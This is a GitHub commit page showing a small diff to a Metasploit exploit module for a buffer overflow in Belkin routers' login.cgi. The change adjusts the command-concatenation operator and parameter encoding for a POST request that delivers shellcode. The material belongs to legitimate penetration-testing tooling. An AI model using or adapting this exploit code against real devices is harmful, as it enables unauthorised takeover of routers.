Skip to content

Commit 64f7695

Browse files
author
m-1-k-3
committed
encoding
1 parent 6657c7d commit 64f7695

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/linux/http/belkin_login_bof.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -82,7 +82,7 @@ def exploit
8282
execute_cmdstager(
8383
:flavor => :echo,
8484
:linemax => 200,
85-
:concat_operator => " %3b "
85+
:concat_operator => " ; "
8686
)
8787
end
8888

@@ -98,7 +98,7 @@ def execute_command(cmd, opts)
9898
res = send_request_cgi({
9999
'method' => 'POST',
100100
'uri' => "/login.cgi",
101-
'encode_params' => false,
101+
'encode_params' => true,
102102
'vars_post' => {
103103
'GO' => '',
104104
'jump' => shellcode,

0 commit comments

Comments
 (0)